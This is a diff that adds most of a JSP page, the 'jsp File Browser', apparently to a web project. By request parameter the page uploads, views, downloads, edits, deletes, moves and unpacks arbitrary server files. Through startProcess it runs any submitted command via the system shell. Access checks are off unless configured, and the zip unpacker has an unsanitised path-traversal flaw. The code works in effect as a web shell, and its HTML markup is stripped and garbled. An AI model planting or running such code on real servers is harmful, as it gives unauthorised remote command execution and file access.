+ if (paramName.equals("dir")) saveInDir = line;
+ line = getLine(is);
+ continue;
+ }
+ try {
+ UplInfo uplInfo = new UplInfo(clength);
+ UploadMonitor.set(fileInfo.clientFileName, uplInfo);
+ OutputStream os = null;
+ String path = null;
+ if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
+ fileInfo.clientFileName));
+ else os = new ByteArrayOutputStream(ONE_MB);
+ boolean readingContent = true;
+ byte previousLine[] = new byte[2 * ONE_MB];
+ byte temp[] = null;
+ byte currentLine[] = new byte[2 * ONE_MB];
+ int read, read3;
+ if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
+ line = null;
+ break;
+ }
+ while (readingContent) {
+ if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
+ line = null;
+ uplInfo.aborted = true;
+ break;
+ }
+ if (compareBoundary(boundary, currentLine)) {
+ os.write(previousLine, 0, read - 2);
+ line = new String(currentLine, 0, read3);
+ break;
+ }
+ else {
+ os.write(previousLine, 0, read);
+ uplInfo.currSize += read;
+ temp = currentLine;
+ currentLine = previousLine;
+ previousLine = temp;
+ read = read3;
+ }//end else
+ }//end while
+ os.flush();
+ os.close();
+ if (!saveFiles) {
+ ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
+ fileInfo.setFileContents(baos.toByteArray());
+ }
+ else fileInfo.file = new File(path);
+ dataTable.put(paramName, fileInfo);
+ uplInfo.currSize = uplInfo.totalSize;
+ }//end try
+ catch (IOException e) {
+ throw e;
+ }
+ }
+ return dataTable;
+ }
+
+ /**
+ * Compares boundary string to byte array
+ */
+ private boolean compareBoundary(String boundary, byte ba[]) {
+ byte b;
+ if (boundary == null || ba == null) return false;
+ for (int i = 0; i < boundary.length(); i++)
+ if ((byte) boundary.charAt(i) != ba[i]) return false;
+ return true;
+ }
+
+ /** Convenience method to read HTTP header lines */
+ private synchronized String getLine(ServletInputStream sis) throws IOException {
+ byte b[] = new byte[1024];
+ int read = sis.readLine(b, 0, b.length), index;
+ String line = null;
+ if (read != -1) {
+ line = new String(b, 0, read);
+ if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
+ }
+ return line;
+ }
+
+ public String getFileName(String dir, String fileName) throws IllegalArgumentException {
+ String path = null;
+ if (dir == null || fileName == null) throw new IllegalArgumentException(
+ "dir or fileName is null");
+ int index = fileName.lastIndexOf('/');
+ String name = null;
+ if (index >= 0) name = fileName.substring(index + 1);
+ else name = fileName;
+ index = name.lastIndexOf('\\');
+ if (index >= 0) fileName = name.substring(index + 1);
+ path = dir + File.separator + fileName;
+ if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
+ else return path.replace('/', File.separatorChar);
+ }
+ } //End of class HttpMultiPartParser
+
+ /**
+ * This class is a comparator to sort the filenames and dirs
+ */
+ class FileComp implements Comparator {
+
+ int mode;
+ int sign;
+
+ FileComp() {
+ this.mode = 1;
+ this.sign = 1;
+ }
+
+ /**
+ * @param mode sort by 1=Filename, 2=Size, 3=Date, 4=Type
+ * The default sorting method is by Name
+ * Negative mode means descending sort
+ */
+ FileComp(int mode) {
+ if (mode < 0) {
+ this.mode = -mode;
+ sign = -1;
+ }
+ else {
+ this.mode = mode;
+ this.sign = 1;
+ }
+ }
+
+ public int compare(Object o1, Object o2) {
+ File f1 = (File) o1;
+ File f2 = (File) o2;
+ if (f1.isDirectory()) {
+ if (f2.isDirectory()) {
+ switch (mode) {
+ //Filename or Type
+ case 1:
+ case 4:
+ return sign
+ * f1.getAbsolutePath().toUpperCase().compareTo(
+ f2.getAbsolutePath().toUpperCase());
+ //Filesize
+ case 2:
+ return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
+ //Date
+ case 3:
+ return sign
+ * (new Long(f1.lastModified())
+ .compareTo(new Long(f2.lastModified())));
+ default:
+ return 1;
+ }
+ }
+ else return -1;
+ }
+ else if (f2.isDirectory()) return 1;
+ else {
+ switch (mode) {
+ case 1:
+ return sign
+ * f1.getAbsolutePath().toUpperCase().compareTo(
+ f2.getAbsolutePath().toUpperCase());
+ case 2:
+ return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
+ case 3:
+ return sign
+ * (new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())));
+ case 4: { // Sort by extension
+ int tempIndexf1 = f1.getAbsolutePath().lastIndexOf('.');
+ int tempIndexf2 = f2.getAbsolutePath().lastIndexOf('.');
+ if ((tempIndexf1 == -1) && (tempIndexf2 == -1)) { // Neither have an extension
+ return sign
+ * f1.getAbsolutePath().toUpperCase().compareTo(
+ f2.getAbsolutePath().toUpperCase());
+ }
+ // f1 has no extension
+ else if (tempIndexf1 == -1) return -sign;
+ // f2 has no extension
+ else if (tempIndexf2 == -1) return sign;
+ // Both have an extension
+ else {
+ String tempEndf1 = f1.getAbsolutePath().toUpperCase()
+ .substring(tempIndexf1);
+ String tempEndf2 = f2.getAbsolutePath().toUpperCase()
+ .substring(tempIndexf2);
+ return sign * tempEndf1.compareTo(tempEndf2);
+ }
+ }
+ default:
+ return 1;
+ }
+ }
+ }
+ }
+
+ /**
+ * Wrapperclass to wrap an OutputStream around a Writer
+ */
+ class Writer2Stream extends OutputStream {
+
+ Writer out;
+
+ Writer2Stream(Writer w) {
+ super();
+ out = w;
+ }
+
+ public void write(int i) throws IOException {
+ out.write(i);
+ }
+
+ public void write(byte[] b) throws IOException {
+ for (int i = 0; i < b.length; i++) {
+ int n = b[i];
+ //Convert byte to ubyte
+ n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
+ out.write(n);
+ }
+ }
+
+ public void write(byte[] b, int off, int len) throws IOException {
+ for (int i = off; i < off + len; i++) {
+ int n = b[i];
+ n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
+ out.write(n);
+ }
+ }
+ } //End of class Writer2Stream
+
+ static Vector expandFileList(String[] files, boolean inclDirs) {
+ Vector v = new Vector();
+ if (files == null) return v;
+ for (int i = 0; i < files.length; i++)
+ v.add(new File(URLDecoder.decode(files[i])));
+ for (int i = 0; i < v.size(); i++) {
+ File f = (File) v.get(i);
+ if (f.isDirectory()) {
+ File[] fs = f.listFiles();
+ for (int n = 0; n < fs.length; n++)
+ v.add(fs[n]);
+ if (!inclDirs) {
+ v.remove(i);
+ i--;
+ }
+ }
+ }
+ return v;
+ }
+
+ /**
+ * Method to build an absolute path
+ * @param dir the root dir
+ * @param name the name of the new directory
+ * @return if name is an absolute directory, returns name, else returns dir+name
+ */
+ static String getDir(String dir, String name) {
+ if (!dir.endsWith(File.separator)) dir = dir + File.separator;
+ File mv = new File(name);
+ String new_dir = null;
+ if (!mv.isAbsolute()) {
+ new_dir = dir + name;
+ }
+ else new_dir = name;
+ return new_dir;
+ }
+
+ /**
+ * This Method converts a byte size in a kbytes or Mbytes size, depending on the size
+ * @param size The size in bytes
+ * @return String with size and unit
+ */
+ static String convertFileSize(long size) {
+ int divisor = 1;
+ String unit = "bytes";
+ if (size >= 1024 * 1024) {
+ divisor = 1024 * 1024;
+ unit = "MB";
+ }
+ else if (size >= 1024) {
+ divisor = 1024;
+ unit = "KB";
+ }
+ if (divisor == 1) return size / divisor + " " + unit;
+ String aftercomma = "" + 100 * (size % divisor) / divisor;
+ if (aftercomma.length() == 1) aftercomma = "0" + aftercomma;
+ return size / divisor + "." + aftercomma + " " + unit;
+ }
+
+ /**
+ * Copies all data from in to out
+ * @param in the input stream
+ * @param out the output stream
+ * @param buffer copy buffer
+ */
+ static void copyStreams(InputStream in, OutputStream out, byte[] buffer) throws IOException {
+ copyStreamsWithoutClose(in, out, buffer);
+ in.close();
+ out.close();
+ }
+
+ /**
+ * Copies all data from in to out
+ * @param in the input stream
+ * @param out the output stream
+ * @param buffer copy buffer
+ */
+ static void copyStreamsWithoutClose(InputStream in, OutputStream out, byte[] buffer)
+ throws IOException {
+ int b;
+ while ((b = in.read(buffer)) != -1)
+ out.write(buffer, 0, b);
+ }
+
+ /**
+ * Returns the Mime Type of the file, depending on the extension of the filename
+ */
+ static String getMimeType(String fName) {
+ fName = fName.toLowerCase();
+ if (fName.endsWith(".jpg") || fName.endsWith(".jpeg") || fName.endsWith(".jpe")) return "image/jpeg";
+ else if (fName.endsWith(".gif")) return "image/gif";
+ else if (fName.endsWith(".pdf")) return "application/pdf";
+ else if (fName.endsWith(".htm") || fName.endsWith(".html") || fName.endsWith(".shtml")) return "text/html";
+ else if (fName.endsWith(".avi")) return "video/x-msvideo";
+ else if (fName.endsWith(".mov") || fName.endsWith(".qt")) return "video/quicktime";
+ else if (fName.endsWith(".mpg") || fName.endsWith(".mpeg") || fName.endsWith(".mpe")) return "video/mpeg";
+ else if (fName.endsWith(".zip")) return "application/zip";
+ else if (fName.endsWith(".tiff") || fName.endsWith(".tif")) return "image/tiff";
+ else if (fName.endsWith(".rtf")) return "application/rtf";
+ else if (fName.endsWith(".mid") || fName.endsWith(".midi")) return "audio/x-midi";
+ else if (fName.endsWith(".xl") || fName.endsWith(".xls") || fName.endsWith(".xlv")
+ || fName.endsWith(".xla") || fName.endsWith(".xlb") || fName.endsWith(".xlt")
+ || fName.endsWith(".xlm") || fName.endsWith(".xlk")) return "application/excel";
+ else if (fName.endsWith(".doc") || fName.endsWith(".dot")) return "application/msword";
+ else if (fName.endsWith(".png")) return "image/png";
+ else if (fName.endsWith(".xml")) return "text/xml";
+ else if (fName.endsWith(".svg")) return "image/svg+xml";
+ else if (fName.endsWith(".mp3")) return "audio/mp3";
+ else if (fName.endsWith(".ogg")) return "audio/ogg";
+ else return "text/plain";
+ }
+
+ /**
+ * Converts some important chars (int) to the corresponding html string
+ */
+ static String conv2Html(int i) {
+ if (i == '&') return "&";
+ else if (i == '<') return "<";
+ else if (i == '>') return ">";
+ else if (i == '"') return """;
+ else return "" + (char) i;
+ }
+
+ /**
+ * Converts a normal string to a html conform string
+ */
+ static String conv2Html(String st) {
+ StringBuffer buf = new StringBuffer();
+ for (int i = 0; i < st.length(); i++) {
+ buf.append(conv2Html(st.charAt(i)));
+ }
+ return buf.toString();
+ }
+
+ /**
+ * Starts a native process on the server
+ * @param command the command to start the process
+ * @param dir the dir in which the process starts
+ */
+ static String startProcess(String command, String dir) throws IOException {
+ StringBuffer ret = new StringBuffer();
+ String[] comm = new String[3];
+ comm[0] = COMMAND_INTERPRETER[0];
+ comm[1] = COMMAND_INTERPRETER[1];
+ comm[2] = command;
+ long start = System.currentTimeMillis();
+ try {
+ //Start process
+ Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));
+ //Get input and error streams
+ BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());
+ BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream());
+ boolean end = false;
+ while (!end) {
+ int c = 0;
+ while ((ls_err.available() > 0) && (++c <= 1000)) {
+ ret.append(conv2Html(ls_err.read()));
+ }
+ c = 0;
+ while ((ls_in.available() > 0) && (++c <= 1000)) {
+ ret.append(conv2Html(ls_in.read()));
+ }
+ try {
+ ls_proc.exitValue();
+ //if the process has not finished, an exception is thrown
+ //else
+ while (ls_err.available() > 0)
+ ret.append(conv2Html(ls_err.read()));
+ while (ls_in.available() > 0)
+ ret.append(conv2Html(ls_in.read()));
+ end = true;
+ }
+ catch (IllegalThreadStateException ex) {
+ //Process is running
+ }
+ //The process is not allowed to run longer than given time.
+ if (System.currentTimeMillis() - start > MAX_PROCESS_RUNNING_TIME) {
+ ls_proc.destroy();
+ end = true;
+ ret.append("!!!! Process has timed out, destroyed !!!!!");
+ }
+ try {
+ Thread.sleep(50);
+ }
+ catch (InterruptedException ie) {}
+ }
+ }
+ catch (IOException e) {
+ ret.append("Error: " + e);
+ }
+ return ret.toString();
+ }
+
+ /**
+ * Converts a dir string to a linked dir string
+ * @param dir the directory string (e.g. /usr/local/httpd)
+ * @param browserLink web-path to Browser.jsp
+ */
+ static String dir2linkdir(String dir, String browserLink, int sortMode) {
+ File f = new File(dir);
+ StringBuffer buf = new StringBuffer();
+ while (f.getParentFile() != null) {
+ if (f.canRead()) {
+ String encPath = URLEncoder.encode(f.getAbsolutePath());
+ buf.insert(0, "" + conv2Html(f.getName()) + File.separator + " ");
+ }
+ else buf.insert(0, conv2Html(f.getName()) + File.separator);
+ f = f.getParentFile();
+ }
+ if (f.canRead()) {
+ String encPath = URLEncoder.encode(f.getAbsolutePath());
+ buf.insert(0, "" + conv2Html(f.getAbsolutePath()) + " ");
+ }
+ else buf.insert(0, f.getAbsolutePath());
+ return buf.toString();
+ }
+
+ /**
+ * Returns true if the given filename tends towards a packed file
+ */
+ static boolean isPacked(String name, boolean gz) {
+ return (name.toLowerCase().endsWith(".zip") || name.toLowerCase().endsWith(".jar")
+ || (gz && name.toLowerCase().endsWith(".gz")) || name.toLowerCase()
+ .endsWith(".war"));
+ }
+
+ /**
+ * If RESTRICT_BROWSING = true this method checks, whether the path is allowed or not
+ */
+ static boolean isAllowed(File path) throws IOException{
+ if (RESTRICT_BROWSING) {
+ StringTokenizer stk = new StringTokenizer(RESTRICT_PATH, ";");
+ while (stk.hasMoreTokens()){
+ if (path!=null && path.getCanonicalPath().startsWith(stk.nextToken()))
+ return RESTRICT_WHITELIST;
+ }
+ return !RESTRICT_WHITELIST;
+ }
+ else return true;
+ }
+
+ //---------------------------------------------------------------------------------------------------------------
+
+ %>
+<%
+ //Get the current browsing directory
+ request.setAttribute("dir", request.getParameter("dir"));
+ // The browser_name variable is used to keep track of the URI
+ // of the jsp file itself. It is used in all link-backs.
+ final String browser_name = request.getRequestURI();
+ final String FOL_IMG = "";
+ boolean nohtml = false;
+ boolean dir_view = true;
+ // View file
+ if (request.getParameter("file") != null) {
+ File f = new File(request.getParameter("file"));
+ if (!isAllowed(f)) {
+ request.setAttribute("dir", f.getParent());
+ request.setAttribute("error", "You are not allowed to access "+f.getAbsolutePath());
+ }
+ else if (f.exists() && f.canRead()) {
+ if (isPacked(f.getName(), false)) {
+ //If zipFile, do nothing here
+ }
+ else{
+ String mimeType = getMimeType(f.getName());
+ response.setContentType(mimeType);
+ if (mimeType.equals("text/plain")) response.setHeader(
+ "Content-Disposition", "inline;filename=\"temp.txt\"");
+ else response.setHeader("Content-Disposition", "inline;filename=\""
+ + f.getName() + "\"");
+ BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
+ byte buffer[] = new byte[8 * 1024];
+ out.clearBuffer();
+ OutputStream out_s = new Writer2Stream(out);
+ copyStreamsWithoutClose(fileInput, out_s, buffer);
+ fileInput.close();
+ out_s.flush();
+ nohtml = true;
+ dir_view = false;
+ }
+ }
+ else {
+ request.setAttribute("dir", f.getParent());
+ request.setAttribute("error", "File " + f.getAbsolutePath()
+ + " does not exist or is not readable on the server");
+ }
+ }
+ // Download selected files as zip file
+ else if ((request.getParameter("Submit") != null)
+ && (request.getParameter("Submit").equals(SAVE_AS_ZIP))) {
+ Vector v = expandFileList(request.getParameterValues("selfile"), false);
+ //Check if all files in vector are allowed
+ String notAllowedFile = null;
+ for (int i = 0;i < v.size(); i++){
+ File f = (File) v.get(i);
+ if (!isAllowed(f)){
+ notAllowedFile = f.getAbsolutePath();
+ break;
+ }
+ }
+ if (notAllowedFile != null){
+ request.setAttribute("error", "You are not allowed to access " + notAllowedFile);
+ }
+ else if (v.size() == 0) {
+ request.setAttribute("error", "No files selected");
+ }
+ else {
+ File dir_file = new File("" + request.getAttribute("dir"));
+ int dir_l = dir_file.getAbsolutePath().length();
+ response.setContentType("application/zip");
+ response.setHeader("Content-Disposition", "attachment;filename=\"rename_me.zip\"");
+ out.clearBuffer();
+ ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));
+ zipout.setComment("Created by jsp File Browser v. " + VERSION_NR);
+ zipout.setLevel(COMPRESSION_LEVEL);
+ for (int i = 0; i < v.size(); i++) {
+ File f = (File) v.get(i);
+ if (f.canRead()) {
+ zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l + 1)));
+ BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
+ byte buffer[] = new byte[0xffff];
+ copyStreamsWithoutClose(fr, zipout, buffer);
+ /* int b;
+ while ((b=fr.read())!=-1) zipout.write(b);*/
+ fr.close();
+ zipout.closeEntry();
+ }
+ }
+ zipout.finish();
+ out.flush();
+ nohtml = true;
+ dir_view = false;
+ }
+ }
+ // Download file
+ else if (request.getParameter("downfile") != null) {
+ String filePath = request.getParameter("downfile");
+ File f = new File(filePath);
+ if (!isAllowed(f)){
+ request.setAttribute("dir", f.getParent());
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsoluteFile());
+ }
+ else if (f.exists() && f.canRead()) {
+ response.setContentType("application/octet-stream");
+ response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName()
+ + "\"");
+ response.setContentLength((int) f.length());
+ BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
+ byte buffer[] = new byte[8 * 1024];
+ out.clearBuffer();
+ OutputStream out_s = new Writer2Stream(out);
+ copyStreamsWithoutClose(fileInput, out_s, buffer);
+ fileInput.close();
+ out_s.flush();
+ nohtml = true;
+ dir_view = false;
+ }
+ else {
+ request.setAttribute("dir", f.getParent());
+ request.setAttribute("error", "File " + f.getAbsolutePath()
+ + " does not exist or is not readable on the server");
+ }
+ }
+ if (nohtml) return;
+ //else
+ // If no parameter is submitted, it will take the path from jsp file browser
+ if (request.getAttribute("dir") == null) {
+ String path = null;
+ if (application.getRealPath(request.getRequestURI()) != null) path = new File(
+ application.getRealPath(request.getRequestURI())).getParent();
+
+ if (path == null) { // handle the case where we are not in a directory (ex: war file)
+ path = new File(".").getAbsolutePath();
+ }
+ //Check path
+ if (!isAllowed(new File(path))){
+ if (RESTRICT_PATH.indexOf(";")<0) path = RESTRICT_PATH;
+ else path = RESTRICT_PATH.substring(0, RESTRICT_PATH.indexOf(";"));
+ }
+ request.setAttribute("dir", path);
+ }%>
+
+
+
+Upload of <%=fname%> Upload of <%=fname%>
+
+<%=convertFileSize(info.currSize)%> from <%=convertFileSize(info.totalSize)%>
+(<%=info.getPercent()%> %) uploaded (Speed: <%=info.getUprate()%>).Upload of <%=fname%> Launch commands in <%=request.getAttribute("dir")%>
+
+
+<%
+ out.println("
+
+
+<%
+ dir_view = false;
+ request.setAttribute("dir", null);
+ }
+ }
+
+ //Click on a filename, special viewer (zip+jar file)
+ else if (request.getParameter("file") != null) {
+ File f = new File(request.getParameter("file"));
+ if (!isAllowed(f)){
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
+ }
+ else if (isPacked(f.getName(), false)) {
+ //ZipFile
+ try {
+ ZipFile zf = new ZipFile(f);
+ Enumeration entries = zf.entries();
+%>
+<%= f.getAbsolutePath()%>
+
+
+ Content of <%=conv2Html(f.getName())%>
+ Name Uncompressed size Compressed size Compr. ratio Date
+<%
+ long size = 0;
+ int fileCount = 0;
+ while (entries.hasMoreElements()) {
+ ZipEntry entry = (ZipEntry) entries.nextElement();
+ if (!entry.isDirectory()) {
+ fileCount++;
+ size += entry.getSize();
+ long ratio = 0;
+ if (entry.getSize() != 0) ratio = (entry.getCompressedSize() * 100)
+ / entry.getSize();
+ out.println("" + conv2Html(entry.getName())
+ + " " + convertFileSize(entry.getSize()) + " "
+ + convertFileSize(entry.getCompressedSize()) + " "
+ + ratio + "%" + " "
+ + dateFormat.format(new Date(entry.getTime())) + "
+
+ <%=convertFileSize(size)%> in <%=fileCount%> files in <%=f.getName()%>. Compression ratio: <%=(f.length() * 100) / size%>%
+
+
+<%
+ }
+ catch (ZipException ex) {
+ request.setAttribute("error", "Cannot read " + f.getName()
+ + ", no valid zip file");
+ }
+ catch (IOException ex) {
+ request.setAttribute("error", "Reading of " + f.getName() + " aborted. Error: "
+ + ex);
+ }
+ }
+ }
+ // Upload
+ else if ((request.getContentType() != null)
+ && (request.getContentType().toLowerCase().startsWith("multipart"))) {
+ response.setContentType("text/html");
+ HttpMultiPartParser parser = new HttpMultiPartParser();
+ boolean error = false;
+ try {
+ int bstart = request.getContentType().lastIndexOf("oundary=");
+ String bound = request.getContentType().substring(bstart + 8);
+ int clength = request.getContentLength();
+ Hashtable ht = parser
+ .processData(request.getInputStream(), bound, tempdir, clength);
+ if (!isAllowed(new File((String)ht.get("dir")))){
+ request.setAttribute("error", "You are not allowed to access " + ht.get("dir"));
+ error = true;
+ }
+ else if (ht.get("myFile") != null) {
+ FileInfo fi = (FileInfo) ht.get("myFile");
+ File f = fi.file;
+ UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
+ if (info != null && info.aborted) {
+ f.delete();
+ request.setAttribute("error", "Upload aborted");
+ }
+ else {
+ // Move file from temp to the right dir
+ String path = (String) ht.get("dir");
+ if (!path.endsWith(File.separator)) path = path + File.separator;
+ if (!f.renameTo(new File(path + f.getName()))) {
+ request.setAttribute("error", "Cannot upload file.");
+ error = true;
+ f.delete();
+ }
+ }
+ }
+ else {
+ request.setAttribute("error", "No file selected for upload");
+ error = true;
+ }
+ request.setAttribute("dir", (String) ht.get("dir"));
+ }
+ catch (Exception e) {
+ request.setAttribute("error", "Error " + e + ". Upload aborted");
+ error = true;
+ }
+ if (!error) request.setAttribute("message", "File upload correctly finished.");
+ }
+ // The form to edit a text file
+ else if (request.getParameter("editfile") != null) {
+ File ef = new File(request.getParameter("editfile"));
+ if (!isAllowed(ef)){
+ request.setAttribute("error", "You are not allowed to access " + ef.getAbsolutePath());
+ }
+ else{
+%>
+Edit <%=conv2Html(request.getParameter("editfile"))%>
+
+
+<%
+ BufferedReader reader = new BufferedReader(new FileReader(ef));
+ String disable = "";
+ if (!ef.canWrite()) disable = " readonly";
+ out.println("
+
+
+<%
+ }
+ }
+ // Save or cancel the edited file
+ else if (request.getParameter("nfile") != null) {
+ File f = new File(request.getParameter("nfile"));
+ File new_f = new File(getDir(f.getParent(), request.getParameter("new_name")));
+ if (!isAllowed(new_f)){
+ request.setAttribute("error", "You are not allowed to access " + new_f.getAbsolutePath());
+ }
+ else if (request.getParameter("Submit").equals("Save")) {
+ if (new_f.exists() && new_f.canWrite() && request.getParameter("Backup") != null) {
+ File bak = new File(new_f.getAbsolutePath() + ".bak");
+ bak.delete();
+ new_f.renameTo(bak);
+ }
+ if (new_f.exists() && !new_f.canWrite()) request.setAttribute("error",
+ "Cannot write to " + new_f.getName() + ", file is write protected.");
+ else {
+ BufferedWriter outs = new BufferedWriter(new FileWriter(new_f));
+ StringReader text = new StringReader(request.getParameter("text"));
+ int i;
+ boolean cr = false;
+ String lineend = "\n";
+ if (request.getParameter("lineformat").equals("dos")) lineend = "\r\n";
+ while ((i = text.read()) >= 0) {
+ if (i == '\r') cr = true;
+ else if (i == '\n') {
+ outs.write(lineend);
+ cr = false;
+ }
+ else if (cr) {
+ outs.write(lineend);
+ cr = false;
+ }
+ else {
+ outs.write(i);
+ cr = false;
+ }
+ }
+ outs.flush();
+ outs.close();
+ }
+ }
+ request.setAttribute("dir", f.getParent());
+ }
+ //Unpack file to the current directory without overwriting
+ else if (request.getParameter("unpackfile") != null) {
+ File f = new File(request.getParameter("unpackfile"));
+ String root = f.getParent();
+ request.setAttribute("dir", root);
+ if (!isAllowed(new File(root))){
+ request.setAttribute("error", "You are not allowed to access " + root);
+ }
+ //Check if file exists
+ else if (!f.exists()) {
+ request.setAttribute("error", "Cannot unpack " + f.getName()
+ + ", file does not exist");
+ }
+ //Check if directory is readonly
+ else if (!f.getParentFile().canWrite()) {
+ request.setAttribute("error", "Cannot unpack " + f.getName()
+ + ", directory is write protected.");
+ }
+ //GZip
+ else if (f.getName().toLowerCase().endsWith(".gz")) {
+ //New name is old Name without .gz
+ String newName = f.getAbsolutePath().substring(0, f.getAbsolutePath().length() - 3);
+ try {
+ byte buffer[] = new byte[0xffff];
+ copyStreams(new GZIPInputStream(new FileInputStream(f)), new FileOutputStream(
+ newName), buffer);
+ }
+ catch (IOException ex) {
+ request.setAttribute("error", "Unpacking of " + f.getName()
+ + " aborted. Error: " + ex);
+ }
+ }
+ //Else try Zip
+ else {
+ try {
+ ZipFile zf = new ZipFile(f);
+ Enumeration entries = zf.entries();
+ //First check whether a file already exist
+ boolean error = false;
+ while (entries.hasMoreElements()) {
+ ZipEntry entry = (ZipEntry) entries.nextElement();
+ if (!entry.isDirectory()
+ && new File(root + File.separator + entry.getName()).exists()) {
+ request.setAttribute("error", "Cannot unpack " + f.getName()
+ + ", File " + entry.getName() + " already exists.");
+ error = true;
+ break;
+ }
+ }
+ if (!error) {
+ //Unpack File
+ entries = zf.entries();
+ byte buffer[] = new byte[0xffff];
+ while (entries.hasMoreElements()) {
+ ZipEntry entry = (ZipEntry) entries.nextElement();
+ File n = new File(root + File.separator + entry.getName());
+ if (entry.isDirectory()) n.mkdirs();
+ else {
+ n.getParentFile().mkdirs();
+ n.createNewFile();
+ copyStreams(zf.getInputStream(entry), new FileOutputStream(n),
+ buffer);
+ }
+ }
+ zf.close();
+ request.setAttribute("message", "Unpack of " + f.getName()
+ + " was successful.");
+ }
+ }
+ catch (ZipException ex) {
+ request.setAttribute("error", "Cannot unpack " + f.getName()
+ + ", no valid zip file");
+ }
+ catch (IOException ex) {
+ request.setAttribute("error", "Unpacking of " + f.getName()
+ + " aborted. Error: " + ex);
+ }
+ }
+ }
+ // Delete Files
+ else if ((request.getParameter("Submit") != null)
+ && (request.getParameter("Submit").equals(DELETE_FILES))) {
+ Vector v = expandFileList(request.getParameterValues("selfile"), true);
+ boolean error = false;
+ //delete backwards
+ for (int i = v.size() - 1; i >= 0; i--) {
+ File f = (File) v.get(i);
+ if (!isAllowed(f)){
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
+ error = true;
+ break;
+ }
+ if (!f.canWrite() || !f.delete()) {
+ request.setAttribute("error", "Cannot delete " + f.getAbsolutePath()
+ + ". Deletion aborted");
+ error = true;
+ break;
+ }
+ }
+ if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files deleted");
+ else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File deleted");
+ else if (!error) request.setAttribute("error", "No files selected");
+ }
+ // Create Directory
+ else if ((request.getParameter("Submit") != null)
+ && (request.getParameter("Submit").equals(CREATE_DIR))) {
+ String dir = "" + request.getAttribute("dir");
+ String dir_name = request.getParameter("cr_dir");
+ String new_dir = getDir(dir, dir_name);
+ if (!isAllowed(new File(new_dir))){
+ request.setAttribute("error", "You are not allowed to access " + new_dir);
+ }
+ else if (new File(new_dir).mkdirs()) {
+ request.setAttribute("message", "Directory created");
+ }
+ else request.setAttribute("error", "Creation of directory " + new_dir + " failed");
+ }
+ // Create a new empty file
+ else if ((request.getParameter("Submit") != null)
+ && (request.getParameter("Submit").equals(CREATE_FILE))) {
+ String dir = "" + request.getAttribute("dir");
+ String file_name = request.getParameter("cr_dir");
+ String new_file = getDir(dir, file_name);
+ if (!isAllowed(new File(new_file))){
+ request.setAttribute("error", "You are not allowed to access " + new_file);
+ }
+ // Test, if file_name is empty
+ else if (!"".equals(file_name.trim()) && !file_name.endsWith(File.separator)) {
+ if (new File(new_file).createNewFile()) request.setAttribute("message",
+ "File created");
+ else request.setAttribute("error", "Creation of file " + new_file + " failed");
+ }
+ else request.setAttribute("error", "Error: " + file_name + " is not a valid filename");
+ }
+ // Rename a file
+ else if ((request.getParameter("Submit") != null)
+ && (request.getParameter("Submit").equals(RENAME_FILE))) {
+ Vector v = expandFileList(request.getParameterValues("selfile"), true);
+ String dir = "" + request.getAttribute("dir");
+ String new_file_name = request.getParameter("cr_dir");
+ String new_file = getDir(dir, new_file_name);
+ if (!isAllowed(new File(new_file))){
+ request.setAttribute("error", "You are not allowed to access " + new_file);
+ }
+ // The error conditions:
+ // 1) Zero Files selected
+ else if (v.size() <= 0) request.setAttribute("error",
+ "Select exactly one file or folder. Rename failed");
+ // 2a) Multiple files selected and the first isn't a dir
+ // Here we assume that expandFileList builds v from top-bottom, starting with the dirs
+ else if ((v.size() > 1) && !(((File) v.get(0)).isDirectory())) request.setAttribute(
+ "error", "Select exactly one file or folder. Rename failed");
+ // 2b) If there are multiple files from the same directory, rename fails
+ else if ((v.size() > 1) && ((File) v.get(0)).isDirectory()
+ && !(((File) v.get(0)).getPath().equals(((File) v.get(1)).getParent()))) {
+ request.setAttribute("error", "Select exactly one file or folder. Rename failed");
+ }
+ else {
+ File f = (File) v.get(0);
+ if (!isAllowed(f)){
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
+ }
+ // Test, if file_name is empty
+ else if ((new_file.trim() != "") && !new_file.endsWith(File.separator)) {
+ if (!f.canWrite() || !f.renameTo(new File(new_file.trim()))) {
+ request.setAttribute("error", "Creation of file " + new_file + " failed");
+ }
+ else request.setAttribute("message", "Renamed file "
+ + ((File) v.get(0)).getName() + " to " + new_file);
+ }
+ else request.setAttribute("error", "Error: \"" + new_file_name
+ + "\" is not a valid filename");
+ }
+ }
+ // Move selected file(s)
+ else if ((request.getParameter("Submit") != null)
+ && (request.getParameter("Submit").equals(MOVE_FILES))) {
+ Vector v = expandFileList(request.getParameterValues("selfile"), true);
+ String dir = "" + request.getAttribute("dir");
+ String dir_name = request.getParameter("cr_dir");
+ String new_dir = getDir(dir, dir_name);
+ if (!isAllowed(new File(new_dir))){
+ request.setAttribute("error", "You are not allowed to access " + new_dir);
+ }
+ else{
+ boolean error = false;
+ // This ensures that new_dir is a directory
+ if (!new_dir.endsWith(File.separator)) new_dir += File.separator;
+ for (int i = v.size() - 1; i >= 0; i--) {
+ File f = (File) v.get(i);
+ if (!isAllowed(f)){
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
+ error = true;
+ break;
+ }
+ else if (!f.canWrite() || !f.renameTo(new File(new_dir
+ + f.getAbsolutePath().substring(dir.length())))) {
